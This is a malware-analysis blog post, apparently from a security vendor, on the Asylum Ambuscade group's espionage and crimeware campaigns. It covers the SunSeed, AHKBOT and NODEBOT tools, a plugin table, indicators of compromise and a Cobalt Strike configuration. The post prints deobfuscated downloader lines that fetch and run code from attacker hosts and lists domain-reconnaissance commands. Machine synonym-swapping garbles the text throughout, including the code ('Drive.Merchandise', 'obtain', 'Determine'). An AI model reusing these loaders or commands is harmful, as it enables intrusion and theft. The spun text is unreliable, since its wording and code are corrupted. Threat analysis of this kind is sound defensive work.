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A curious case of a menace actor on the border between crimeware and cyberespionage
Asylum Ambuscade is a cybercrime group that has been performing cyberespionage operations on the aspect. They have been first publicly outed in March 2022 by Proofpoint researchers after the group focused European authorities workers concerned in serving to Ukrainian refugees, only a few weeks after the beginning of the Russia-Ukraine warfare. On this blogpost, we offer particulars concerning the early 2022 espionage marketing campaign and about a number of cybercrime campaigns in 2022 and 2023.
Key factors of this blogpost:
- Asylum Ambuscade has been working since at the very least 2020.
- It’s a crimeware group that targets financial institution prospects and cryptocurrency merchants in varied areas, together with North America and Europe.
- Asylum Ambuscade additionally does espionage towards authorities entities in Europe and Central Asia.
- Many of the group’s implants are developed in script languages similar to AutoHotkey, JavaScript, Lua, Python, and VBS.
Cyberespionage campaigns
Asylum Ambuscade has been operating cyberespionage campaigns since at the very least 2020. We discovered earlier compromises of presidency officers and staff of state-owned corporations in Central Asia international locations and Armenia.
In 2022, and as highlighted within the Proofpoint publication, the group focused authorities officers in a number of European international locations bordering Ukraine. We assess that the purpose of the attackers was to steal confidential data and webmail credentials from official authorities webmail portals.
The compromise chain begins with a spearphishing e mail that has a malicious Excel spreadsheet attachment. Malicious VBA code therein downloads an MSI bundle from a distant server and installs SunSeed, a downloader written in Lua.
Be aware that we noticed some variations within the attachments. In June 2022, the group used an exploit of the Follina vulnerability (CVE-2022-30190) as an alternative of malicious VBA code. This doc is proven in Determine 1. It’s written in Ukrainian and the decoy is a few safety alert concerning a Gamaredon (one other well-known espionage group) assault in Ukraine.
Then, if the machine is deemed fascinating, the attackers deploy the following stage: AHKBOT. This can be a downloader written in AutoHotkey that may be prolonged with plugins, additionally written in AutoHotkey, in an effort to spy on the sufferer’s machine. An evaluation of the group’s toolset is supplied later within the blogpost.
Cybercrime campaigns
Regardless that the group got here into the highlight due to its cyberespionage operations, it has been principally operating cybercrime campaigns since early 2020.
Since January 2022, we’ve counted greater than 4,500 victims worldwide. Whereas most of them are positioned in North America, as proven in Determine 2, it needs to be famous that we’ve additionally seen victims in Asia, Africa, Europe, and South America.
The focusing on could be very vast and principally consists of people, cryptocurrency merchants, and small and medium companies (SMBs) in varied verticals.
Whereas the purpose of focusing on cryptocurrency merchants is kind of apparent – stealing cryptocurrency – we don’t know for positive how Asylum Ambuscade monetizes its entry to SMBs. It’s doable the group sells the entry to different crimeware teams who would possibly, for instance, deploy ransomware. We have now not noticed this in our telemetry, although.
Asylum Ambuscade’s crimeware compromise chain is, total, similar to the one we describe for the cyberespionage campaigns. The principle distinction is the compromise vector, which will be:
- A malicious Google Advert redirecting to a web site delivering a malicious JavaScript file (as highlighted on this SANS blogpost)
- A number of HTTP redirections in a Visitors Course System (TDS). The TDS utilized by the group is known as 404 TDS by Proofpoint. It isn’t unique to Asylum Ambuscade and we noticed it was, for instance, utilized by one other menace actor to ship Qbot. An instance of a redirection chain, captured by io, is proven in Determine 3.

Determine 3. 404 TDS redirection chain, as captured by urlscan.io – numbers point out the redirections in sequence
Along with the completely different compromise vector, the group developed SunSeed equivalents in different scripting languages similar to Tcl and VBS. In March 2023, it developed an AHKBOT equal in Node.js that we named NODEBOT. We consider these adjustments have been supposed to bypass detections from safety merchandise. An summary of the compromise chain is supplied in Determine 4.
Attribution
We consider that the cyberespionage and cybercrime campaigns are operated by the identical group.
- The compromise chains are nearly equivalent in all campaigns. Specifically, SunSeed and AHKBOT have been broadly used for each cybercrime and cyberespionage.
- We don’t consider that SunSeed and AHKBOT are offered on the underground market. These instruments aren’t very subtle compared to different crimeware instruments on the market, the variety of victims is kind of low have been it a toolset shared amongst a number of teams, and the community infrastructure is constant throughout campaigns.
As such, we consider that Asylum Ambuscade is a cybercrime group that’s performing some cyberespionage on the aspect.
We additionally consider that these three articles describe incidents associated to the group:
Toolset
Malicious JavaScript recordsdata
In most crimeware campaigns run by the group, the compromise vector is just not a malicious doc, however a JavaScript file downloaded from the beforehand documented TDS. Be aware that it must be manually executed by the sufferer, so the attackers try to entice individuals into clicking on the recordsdata by utilizing filenames similar to Document_12_dec-1532825.js, TeamViewer_Setup.js, or AnyDeskInstall.js.
These scripts are obfuscated utilizing random variable names and junk code, almost certainly supposed to bypass detections. An instance is supplied in Determine 5.
As soon as deobfuscated, this script will be summarized in two traces:
var obj = new ActiveXObject(“windowsinstaller.installer”); obj.InstallProduct(“https://namesilo.my[.]id/css/ke.msi”); |
First-stage downloaders
The primary stage downloaders are dropped by an MSI bundle downloaded by both a malicious doc or a JavaScript file. There are three variations of this downloader:
SunSeed is a downloader written within the Lua language and closely obfuscated, as proven in Determine 6.
As soon as manually deobfuscated, the primary perform of the script appears to be like like this:
require(‘socket.http’) serial_number = Drive.Merchandise(‘C’).SerialNumber server_response = socket.request(http://84.32.188[.]96/ + serial_number) pcall(loadstring(server_response)) collectgarbage() <soar to the begin and retry> |
It will get the serial variety of the C: drive and sends a GET request to http://<C&C>/<serial_number> utilizing the Consumer-Agent LuaSocket 2.0.2. It then tries to execute the reply. Because of this SunSeed expects to obtain further Lua scripts from the C&C server. We discovered two of these scripts: set up and transfer.
set up is an easy Lua script that downloads an AutoHotkey script into C:ProgramDatamscoree.ahk and the reliable AutoHotkey interpreter into C:ProgramDatamscoree.exe, as proven in Determine 7. This AutoHotkey script is AHKBOT, the second stage downloader.
An excellent less complicated Lua script, transfer, is proven in Determine 8. It’s used to reassign administration of a victimized laptop from one C&C server to a different. It isn’t doable to replace the hardcoded SunSeed C&C server; to finish a C&C reassignment, a brand new MSI installer must be downloaded and executed, precisely as when the machine was first compromised.

Determine 8. Lua script to maneuver administration of a compromised machine from one C&C server to a different
As talked about above, we discovered one other variant of SunSeed developed utilizing the Tcl language as an alternative of Lua, as proven in Determine 9. The principle distinction is that it doesn’t ship the C: drive’s serial quantity within the GET request.
The third variant was developed in VBS, as proven in Determine 10. The principle distinction is that it doesn’t obtain and interpret further code, however downloads and executes an MSI bundle.
Second-stage downloaders
The principle second-stage downloader is AHKBOT, developed in AutoHotkey. As proven in Determine 11, it sends a GET request, with the Consumer-Agent AutoHotkey (the default worth utilized by AutoHotkey), to http://<C&C>/<serial_number_of_C_drive>-RP, nearly precisely as the sooner SunSeed. RP could be a marketing campaign identifier, because it adjustments from pattern to pattern.
AHKBOT will be discovered on disk at varied places, similar to C:ProgramDatamscoree.ahk or C:ProgramDataadb.ahk. It downloads and interprets spy plugins, additionally developed in AutoHotkey. A abstract of the 21 plugins is supplied in Desk 1.
Desk 1. SunSeed plugins
Plugin title | Description |
---|---|
ass | Obtain and execute a Cobalt Strike loader full of VMProtect. The beacon’s configuration extracted utilizing the device CobaltStrikeParser is supplied within the IoCs within the Cobalt Strike configuration part. |
join | Ship the log message related! to the C&C server. |
deletecookies | Obtain SQLite from /obtain?path=sqlite3slashsqlite3dotdll through HTTP from its C&C server, then delete browser cookies for the domains td.com (a Canadian financial institution) and mail.ru. We don’t know why the attackers must delete cookies, particularly for these domains. It’s doable it’s supposed to delete session cookies to power its victims to reenter their credentials that may then be captured by the keylogger. |
deskscreen | Take a screenshot utilizing Gdip.BitmapFromScreen and ship it to the C&C server. |
deskscreenon | Just like deskscreen however take screenshots in a 15-second loop. |
deskscreenoff | Cease the deskscreenon loop. |
area | Collect details about the Energetic Listing utilizing the next instructions: · cmd /c chcp 65001 && web group “area admins” /area · cmd /c chcp 65001 && web group “enterprise admins” /area · cmd /c chcp 65001 && web group “”Area Computer systems”” /area · cmd /c chcp 65001 && nltest /dclist: · cmd /c chcp 65001 && nltest /DOMAIN_TRUSTS · cmd /c chcp 65001 && ipconfig /all · cmd /c chcp 65001 && systeminfo |
{hardware} | Get sufferer’s host data utilizing WMI queries: · Choose * from Win32_OperatingSystem · SELECT * FROM Win32_LogicalDisk · SELECT * FROM Win32_Processor · Choose * from Win32_OperatingSystem · SELECT * FROM Win32_VideoController · Choose * from Win32_NetworkAdapterConfiguration WHERE IPEnabled = True · Choose * from FirewallProduct · Choose * from AntiSpywareProduct · Choose * from AntiVirusProduct · SELECT * FROM Win32_Product · SELECT Caption,ExecutablePath,ProcessID FROM Win32_Process the place ExecutablePath is just not null and ship to the C&C server. |
hvncon | Obtain and execute a customized hVNC (hidden VNC) software from http://<C&C>/obtain?path=hvncslashhvncdotzip |
hvncoff | Cease the hVNC by executing taskkill /f /im hvnc.exe. |
installchrome | Obtain http:// |
keylogon | Begin the keylogger, hooked enter utilizing DllCall(“SetWindowsHookEx”, […]). The keystrokes are despatched to the C&C server when the energetic software adjustments. |
keylogoff | Cease the keylogger. |
passwords | Steal passwords from Web Explorer, Firefox, and Chromium-based browsers. It downloads SQLite to learn the browser storages. It could actually additionally decrypt regionally encrypted passwords by calling the Microsoft CryptUnprotectData perform. Stolen passwords are despatched to the C&C server.
This plugin appears to be like similar to the password stealer described by Development Micro in 2020, together with the onerous drive serial numbers used for debugging: 605109072 and 2786990575. This might point out that it’s nonetheless being developed on the identical machines. |
rutservon | Obtain a distant entry trojan (RAT) from http://<C&C>/obtain?path=rutservslashagent6dot10dotexe (SHA-1: 3AA8A4554B175DB9DA5EEB7824B5C047638A6A9D). This can be a business RAT developed by Distant Utilities LLC that gives full management over the machine on which it’s put in. |
rutservoff | Kill the RAT. |
steal | Obtain and execute an infostealer – most likely based mostly on Rhadamanthys. |
tasklist | Listing operating processes by utilizing the WMI question Choose * from Win32_Process. |
towake | Transfer the mouse utilizing MouseMove, 100, 100. That is prone to stop the pc from going to sleep, particularly given the title of the plugin. |
replace | Obtain a brand new model of SunSeed AutoHotkey from the C&C server and substitute the present SunSeed on disk. The AutoHotkey interpreter is positioned in C:ProgramDataadb.exe. |
wndlist | Listing energetic home windows by calling WinGet home windows, Listing (Autohotkey syntax). |
The plugins ship the outcome again to the C&C server utilizing a log perform, as proven in Determine 12.
In March 2023, the attackers developed a variant of AHKBOT in Node.js that we’ve named NODEBOT – see Determine 13.
The attackers additionally rewrote some AHKBOT plugins in JavaScript to make them appropriate with NODEBOT. To this point, we’ve noticed the next plugins (an asterisk signifies that the plugin is new to NODEBOT):
- join
- deskscreen
- {hardware}
- hcmdon (a reverse shell in Node.js)*
- hvncoff
- hvncon
- keylogoff
- keylogon (obtain and execute the AutoHotkey keylogger)
- mods (obtain and set up hVNC)*
- passwords
- display screen
Conclusion
Asylum Ambuscade is a cybercrime group principally focusing on SMBs and people in North America and Europe. Nevertheless, it seems to be branching out, operating some current cyberespionage campaigns on the aspect, towards governments in Central Asia and Europe on occasion.
It’s fairly uncommon to catch a cybercrime group operating devoted cyberespionage operations, and as such we consider that researchers ought to preserve shut observe of Asylum Ambuscade actions.
IoCs
Recordsdata
SHA-1 | Filename | ESET detection title | Description |
---|---|---|---|
2B42FD41A1C8AC12221857DD2DF93164A71B95D7 | ass.dll | Win64/Packed.VMProtect.OX | Cobalt Strike loader. |
D5F8ACAD643EE8E1D33D184DAEA0C8EA8E7FD6F8 | DOC/TrojanDownloader.Agent.AAP | Doc exploiting the Follina vulnerability. | |
57157C5D3C1BB3EB3E86B24B1F4240C867A5E94F | N/A | Win32/TrojanDownloader.AutoHK.KH | AHKBOT. |
7DB446B95D5198330B2B25E4BA6429C57942CFC9 | N/A | VBS/Agent.QOF | Python screenshotter. |
5F67279C195F5E8A35A24CBEA76E25BAD6AB6E8E | N/A | VBS/TrojanDownloader.Agent.YDQ | VBS downloader. |
C98061592DE61E34DA280AB179465580947890DE | set up.msi | JS/Agent.QRI | NODEBOT. |
519E388182DE055902C656B2D95CCF265A96CEAB | Document_12_dec-1532825.js | JS/TrojanDownloader.Agent.ZJM | Malicious JavaScript file distributed through the TDS. |
AC3AFD14AD1AEA9E77A84C84022B4022DF1FC88B | ahk | Win32/Spy.AHK.AD | AHKBOT plugin. |
64F5AC9F0C6C12F2A48A1CB941847B0662734FBF | ass | Win32/TrojanDownloader.AHK.N | AHKBOT plugin. |
557C5150A44F607EC4E7F4D0C0ED8EE6E9D12ADF | join | Win32/Spy.AHK.AD | AHKBOT plugin. |
F85B82805C6204F34DB0858E2F04DA9F620A0277 | deletecookies | Win32/Spy.AHK.AD | AHKBOT plugin. |
5492061DE582E71B2A5DA046536D4150F6F497F1 | deskscreen | Win32/Spy.AHK.AD | AHKBOT plugin. |
C554100C15ED3617EBFAAB00C983CED5FEC5DB11 | deskscreenoff | Win32/Spy.AHK.AD | AHKBOT plugin. |
AD8143DE4FC609608D8925478FD8EA3CD9A37C5D | deskscreenon | Win32/Spy.AHK.AD | AHKBOT plugin. |
F2948C27F044FC6FB4849332657801F78C0F7D5E | area | Win32/TrojanDownloader.AutoHK.KH | AHKBOT plugin. |
7AA23E871E796F89C465537E6ECE962412CDA636 | {hardware} | Win32/Spy.AHK.AD | AHKBOT plugin. |
384961E19624437EB4EB22B1BF45953D7147FB8F | hvncoff | Win32/Spy.AHK.AD | AHKBOT plugin. |
7FDB9A73B3F13DBD94D392132D896A5328DACA59 | hvncon | Win32/Spy.AHK.AD | AHKBOT plugin. |
3E38D54CC55A48A3377A7E6A0800B09F2E281978 | installchrome | Win32/Spy.AHK.AD | AHKBOT plugin. |
7F8742778FC848A6FBCFFEC9011B477402544171 | keylogoff | Win32/Spy.AHK.AD | AHKBOT plugin. |
29604997030752919EA42B6D6CEE8D3AE28F527E | keylogon | Win32/Spy.AHK.AD | AHKBOT plugin. |
7A78AF75841C2A8D8A5929C214F08EB92739E9CB | passwords | Win32/Spy.AHK.AB | AHKBOT plugin. |
441369397D0F8DB755282739A05CB4CF52113C40 | rutservoff | Win32/Spy.AHK.AD | AHKBOT plugin. |
117ECFA95BE19D5CF135A27AED786C98EC8CE50B | rutservon | Win32/Spy.AHK.AD | AHKBOT plugin. |
D24A9C8A57C08D668F7D4A5B96FB7B5BA89D74C3 | steal | Win32/Spy.AHK.AE | AHKBOT plugin. |
95EDC096000C5B8DA7C8F93867F736928EA32575 | towake | Win32/Spy.AHK.AD | AHKBOT plugin. |
62FA77DAEF21772D599F2DC17DBBA0906B51F2D9 | replace | Win32/Spy.AHK.AD | AHKBOT plugin. |
A9E3ACFE029E3A80372C0BB6B7C500531D09EDBE | wndlist | Win32/Spy.AHK.AD | AHKBOT plugin. |
EE1CFEDD75CBA9028904C759740725E855AA46B5 | tasklist | Win32/Spy.AHK.AD | AHKBOT plugin. |
Community
IP | Area | Internet hosting supplier | First seen | Particulars |
---|---|---|---|---|
5.39.222[.]150 | N/A | February 27, 2022 | C&C server. | |
5.44.42[.]27 | snowzet[.]com | GLOBAL INTERNET SOLUTIONS LLC | December 7, 2022 | Cobalt Strike C&C server. |
5.230.68[.]137 | N/A | GHOSTnet GmbH | September 5, 2022 | C&C server. |
5.230.71[.]166 | N/A | GHOSTnet GmbH | August 17, 2022 | C&C server. |
5.230.72[.]38 | N/A | GHOSTnet GmbH | September 24, 2022 | C&C server. |
5.230.72[.]148 | N/A | GHOSTnet GmbH | September 26, 2022 | C&C server. |
5.230.73[.]57 | N/A | GHOSTnet GmbH | August 9, 2022 | C&C server. |
5.230.73[.]63 | N/A | GHOSTnet GmbH | June 2, 2022 | C&C server. |
5.230.73[.]241 | N/A | GHOSTnet GmbH | August 20, 2022 | C&C server. |
5.230.73[.]247 | N/A | GHOSTnet GmbH | August 9, 2022 | C&C server. |
5.230.73[.]248 | N/A | GHOSTnet GmbH | June 1, 2022 | C&C server. |
5.230.73[.]250 | N/A | GHOSTnet GmbH | June 2, 2022 | C&C server. |
5.252.118[.]132 | N/A | aezagroup | March 1, 2023 | C&C server. |
5.252.118[.]204 | N/A | aezagroup | March 1, 2023 | C&C server. |
5.255.88[.]222 | N/A | Serverius | Might 28, 2022 | C&C server. |
23.106.123[.]119 | N/A | IRT-LSW-SG | February 4, 2022 | C&C server. |
31.192.105[.]28 | N/A | HOSTKEY B.V. | February 23, 2022 | C&C server. |
45.76.211[.]131 | N/A | The Fixed Firm, LLC | January 19, 2023 | C&C server. |
45.77.185[.]151 | N/A | Vultr Holdings, LLC | December 16, 2022 | C&C server. |
45.132.1[.]238 | N/A | Miglovets Egor Andreevich | November 7, 2022 | C&C server. |
45.147.229[.]20 | N/A | COMBAHTON | January 22, 2022 | C&C server. |
46.17.98[.]190 | N/A | Hostkey_NL abuse, ORG-HB14-RIPE | August 31, 2020 | C&C server. |
46.151.24[.]197 | N/A | Internet hosting expertise LTD | January 1, 2023 | C&C server. |
46.151.24[.]226 | N/A | Internet hosting expertise LTD | December 23, 2022 | C&C server. |
46.151.25[.]15 | N/A | Internet hosting expertise LTD | December 27, 2022 | C&C server. |
46.151.25[.]49 | N/A | Podolsk Electrosvyaz Ltd. | December 29, 2022 | C&C server. |
46.151.28[.]18 | N/A | Internet hosting expertise LTD | January 1, 2023 | C&C server. |
51.83.182[.]153 | N/A | OVH | March 8, 2022 | C&C server. |
51.83.189[.]185 | N/A | OVH | March 5, 2022 | C&C server. |
62.84.99[.]195 | N/A | VDSINA-NL | March 27, 2023 | C&C server. |
62.204.41[.]171 | N/A | HORIZONMSK-AS | December 12, 2022 | C&C server. |
77.83.197[.]138 | N/A | HZ-UK-AS | March 7, 2022 | C&C server. |
79.137.196[.]121 | N/A | AEZA GROUP Ltd | March 1, 2023 | C&C server. |
79.137.197[.]187 | N/A | aezagroup | December 1, 2022 | C&C server. |
80.66.88[.]155 | N/A | XHOST INTERNET SOLUTIONS LP | February 24, 2022 | C&C server. |
84.32.188[.]29 | N/A | UAB Cherry Servers | January 10, 2022 | C&C server. |
84.32.188[.]96 | N/A | UAB Cherry Servers | January 29, 2022 | C&C server. |
85.192.49[.]106 | N/A | Internet hosting expertise LTD | December 25, 2022 | C&C server. |
85.192.63[.]13 | N/A | AEZA GROUP Ltd | December 27, 2022 | C&C server. |
85.192.63[.]126 | N/A | aezagroup | March 5, 2023 | C&C server. |
85.239.60[.]40 | N/A | Clouvider | April 30, 2022 | C&C server. |
88.210.10[.]62 | N/A | Internet hosting expertise LTD | December 12, 2022 | C&C server. |
89.41.182[.]94 | N/A | Abuse-C Function, ORG-HS136-RIPE | September 3, 2021 | C&C server. |
89.107.10[.]7 | N/A | Miglovets Egor Andreevich | December 4, 2022 | C&C server. |
89.208.105[.]255 | N/A | AEZA GROUP Ltd | December 22, 2022 | C&C server. |
91.245.253[.]112 | N/A | M247 Europe | March 4, 2022 | C&C server. |
94.103.83[.]46 | N/A | Internet hosting expertise LTD | December 11, 2022 | C&C server. |
94.140.114[.]133 | N/A | NANO-AS | March 8, 2022 | C&C server. |
94.140.114[.]230 | N/A | NANO-AS | April 13, 2022 | C&C server. |
94.140.115[.]44 | N/A | NANO-AS | April 1, 2022 | C&C server. |
94.232.41[.]96 | N/A | XHOST INTERNET SOLUTIONS LP | October 2, 2022 | C&C server. |
94.232.41[.]108 | N/A | XHOST INTERNET SOLUTIONS LP | August 19, 2022 | C&C server. |
94.232.43[.]214 | N/A | XHOST-INTERNET-SOLUTIONS | October 10, 2022 | C&C server. |
98.142.251[.]26 | N/A | BlueVPS OU | April 29, 2022 | C&C server. |
98.142.251[.]226 | N/A | BlueVPS OU | April 12, 2022 | C&C server. |
104.234.118[.]163 | N/A | IPXO LLC | March 1, 2023 | C&C server. |
104.248.149[.]122 | N/A | DigitalOcean, LLC | December 11, 2022 | C&C server. |
109.107.173[.]72 | N/A | Internet hosting expertise LTD | January 20, 2023 | C&C server. |
116.203.252[.]67 | N/A | Hetzner On-line GmbH – Contact Function, ORG-HOA1-RIPE | March 5, 2022 | C&C server. |
128.199.82[.]141 | N/A | Digital Ocean | December 11, 2022 | C&C server. |
139.162.116[.]148 | N/A | Akamai Related Cloud | March 3, 2022 | C&C server. |
141.105.64[.]121 | N/A | HOSTKEY B.V. | March 21, 2022 | C&C server. |
146.0.77[.]15 | N/A | Hostkey_NL | April 10, 2022 | C&C server. |
146.70.79[.]117 | N/A | M247 Ltd | March 2, 2022 | C&C server. |
157.254.194[.]225 | N/A | Tier.Web Applied sciences LLC | March 1, 2023 | C&C server. |
157.254.194[.]238 | N/A | Tier.Web Applied sciences LLC | March 13, 2023 | C&C server. |
172.64.80[.]1 | namesilo.my[.]id | Cloudflare, Inc. | December 14, 2022 | C&C server. |
172.86.75[.]49 | N/A | BL Networks | Might 17, 2021 | C&C server. |
172.104.94[.]104 | N/A | Linode | March 5, 2022 | C&C server. |
172.105.235[.]94 | N/A | Linode | April 5, 2022 | C&C server. |
172.105.253[.]139 | N/A | Akamai Related Cloud | March 3, 2022 | C&C server. |
176.124.214[.]229 | N/A | VDSINA-NL | December 26, 2022 | C&C server. |
176.124.217[.]20 | N/A | Internet hosting expertise LTD | March 2, 2023 | C&C server. |
185.70.184[.]44 | N/A | Hostkey_NL | April 12, 2021 | C&C server. |
185.82.126[.]133 | N/A | Sia Nano IT | March 12, 2022 | C&C server. |
185.123.53[.]49 | N/A | BV-EU-AS | March 14, 2022 | C&C server. |
185.150.117[.]122 | N/A | UAB Cherry Servers | April 2, 2021 | C&C server. |
185.163.45[.]221 | N/A | MivoCloud SRL | January 2, 2023 | C&C server. |
193.109.69[.]52 | N/A | Hostkey_NL | November 5, 2021 | C&C server. |
193.142.59[.]152 | N/A | HostShield LTD Admin | November 17, 2022 | C&C server. |
193.142.59[.]169 | N/A | ColocationX Ltd. | November 8, 2022 | C&C server. |
194.180.174[.]51 | N/A | MivoCloud SRL | December 24, 2022 | C&C server. |
195.2.81[.]70 | N/A | Internet hosting expertise LTD | September 27, 2022 | C&C server. |
195.133.196[.]230 | N/A | JSC Mediasoft ekspert | July 15, 2022 | C&C server. |
212.113.106[.]27 | N/A | AEZA GROUP Ltd | January 28, 2023 | C&C server. |
212.113.116[.]147 | N/A | JY Cellular Communications | March 1, 2023 | C&C server. |
212.118.43[.]231 | N/A | Internet hosting expertise LTD | March 1, 2023 | C&C server. |
213.109.192[.]230 | N/A | BV-EU-AS | June 1, 2022 | C&C server. |
Cobalt Strike configuration
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BeaconType – HTTP Port – 80 SleepTime – 45000 MaxGetSize – 2801745 Jitter – 37 MaxDNS – Not Discovered PublicKey_MD5 – e4394d2667cc8f9d0af0bbde9e808c29 C2Server – snowzet[.]com,/jquery-3.3.1.min.js UserAgent – Mozilla/5.0 (appropriate; MSIE 10.0; Home windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) HttpPostUri – /jquery-3.3.2.min.js Malleable_C2_Instructions – Take away 1522 bytes from the top Take away 84 bytes from the start Take away 3931 bytes from the start Base64 URL-safe decode XOR masks w/ random key HttpGet_Metadata – ConstHeaders Settle for: textual content/html,software/xhtml+xml,software/xml;q=0.9,*/*;q=0.8 Referer: http://code.jquery.com/ Settle for-Encoding: gzip, deflate Metadata base64url prepend “__cfduid=” header “Cookie” HttpPost_Metadata – ConstHeaders Settle for: textual content/html,software/xhtml+xml,software/xml;q=0.9,*/*;q=0.8 Referer: http://code.jquery.com/ Settle for-Encoding: gzip, deflate SessionId masks base64url parameter “__cfduid” Output masks base64url PipeName – Not Discovered DNS_Idle – Not Discovered DNS_Sleep – Not Discovered SSH_Host – Not Discovered SSH_Port – Not Discovered SSH_Username – Not Discovered SSH_Password_Plaintext – Not Discovered SSH_Password_Pubkey – Not Discovered SSH_Banner – HttpGet_Verb – GET HttpPost_Verb – POST HttpPostChunk – 0 Spawnto_x86 – %windirpercentsyswow64dllhost.exe Spawnto_x64 – %windirpercentsysnativedllhost.exe CryptoScheme – 0 Proxy_Config – Not Discovered Proxy_User – Not Discovered Proxy_Password – Not Discovered Proxy_Behavior – Use IE settings Watermark – 206546002 bStageCleanup – True bCFGCaution – False KillDate – 0 bProcInject_StartRWX – False bProcInject_UseRWX – False bProcInject_MinAllocSize – 17500 ProcInject_PrependAppend_x86 – b’x90x90′ Empty ProcInject_PrependAppend_x64 – b’x90x90′ Empty ProcInject_Execute – ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod – NtMapViewOfSection bUsesCookies – True HostHeader – headersToRemove – Not Discovered DNS_Beaconing – Not Discovered DNS_get_TypeA – Not Discovered DNS_get_TypeAAAA – Not Discovered DNS_get_TypeTXT – Not Discovered DNS_put_metadata – Not Discovered DNS_put_output – Not Discovered DNS_resolver – Not Discovered DNS_strategy – round-robin DNS_strategy_rotate_seconds – -1 DNS_strategy_fail_x – -1 DNS_strategy_fail_seconds – -1 |
MITRE ATT&CK methods
This desk was constructed utilizing model 13 of the MITRE ATT&CK framework.
Tactic | ID | Identify | Description |
---|---|---|---|
Useful resource Improvement | T1583.003 | Purchase Infrastructure: Digital Non-public Server | Asylum Ambuscade rented VPS servers. |
T1587.001 | Develop Capabilities: Malware | Asylum Ambuscade develops customized implants in varied scripting languages. | |
Preliminary Entry | T1189 | Drive-by Compromise | Targets have been redirected through a TDS to a web site delivering a malicious JavaScript file. |
T1566.001 | Phishing: Spearphishing Attachment | Targets obtain malicious Excel or Phrase paperwork. | |
Execution | T1059.005 | Command and Scripting Interpreter: Visible Primary | Asylum Ambuscade has a downloader in VBS. |
T1059.006 | Command and Scripting Interpreter: Python | Asylum Ambuscade has a screenshotter in Python. | |
T1059.007 | Command and Scripting Interpreter: JavaScript | Asylum Ambuscade has a downloader in JavaScript (NODEBOT). | |
T1059 | Command and Scripting Interpreter | Asylum Ambuscade has downloaders in different scripting languages similar to Lua, AutoHotkey, or Tcl. | |
T1204.002 | Consumer Execution: Malicious File | Targets must manually execute the malicious doc or JavaScript file. | |
Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | SunSeed persists through a LNK file within the startup folder. |
Protection Evasion | T1027.010 | Obfuscated Recordsdata or Info: Command Obfuscation | Downloaded JavaScript recordsdata are obfuscated with junk code. |
Credential Entry | T1555.003 | Credentials from Password Shops: Credentials from Net Browsers | AHKBOT passwords plugin can steal browser credentials. |
Discovery | T1087.002 | Account Discovery: Area Account | AHKBOT area plugin gathers details about the area utilizing web group. |
T1010 | Utility Window Discovery | AHKBOT wndlist plugin lists the energetic home windows. | |
T1482 | Area Belief Discovery | AHKBOT area plugin gathers data utilizing nltest. | |
T1057 | Course of Discovery | AHKBOT tasklist plugin lists the energetic processes utilizing Choose * from Win32_Process. | |
T1518.001 | Software program Discovery: Safety Software program Discovery | AHKBOT {hardware} plugin lists safety software program utilizing Choose * from FirewallProduct, Choose * from AntiSpywareProduct and Choose * from AntiVirusProduct. | |
T1082 | System Info Discovery | AHKBOT wndlist plugin will get system data utilizing systeminfo. | |
T1016 | System Community Configuration Discovery | AHKBOT wndlist plugin will get community configuration data utilizing ipconfig /all. | |
Assortment | T1056.001 | Enter Seize: Keylogging | AHKBOT keylogon information keystrokes. |
T1115 | Clipboard Information | AHKBOT keylogon screens the clipboard. | |
T1113 | Display Seize | AHKBOT deskscreen takes screenshot. | |
Command and Management | T1071.001 | Utility Layer Protocol: Net Protocols | AHKBOT (and all the opposite downloaders) communicates with the C&C server through HTTP. |
Exfiltration | T1041 | Exfiltration Over C2 Channel | Information is exfiltrated through the C&C channel. |
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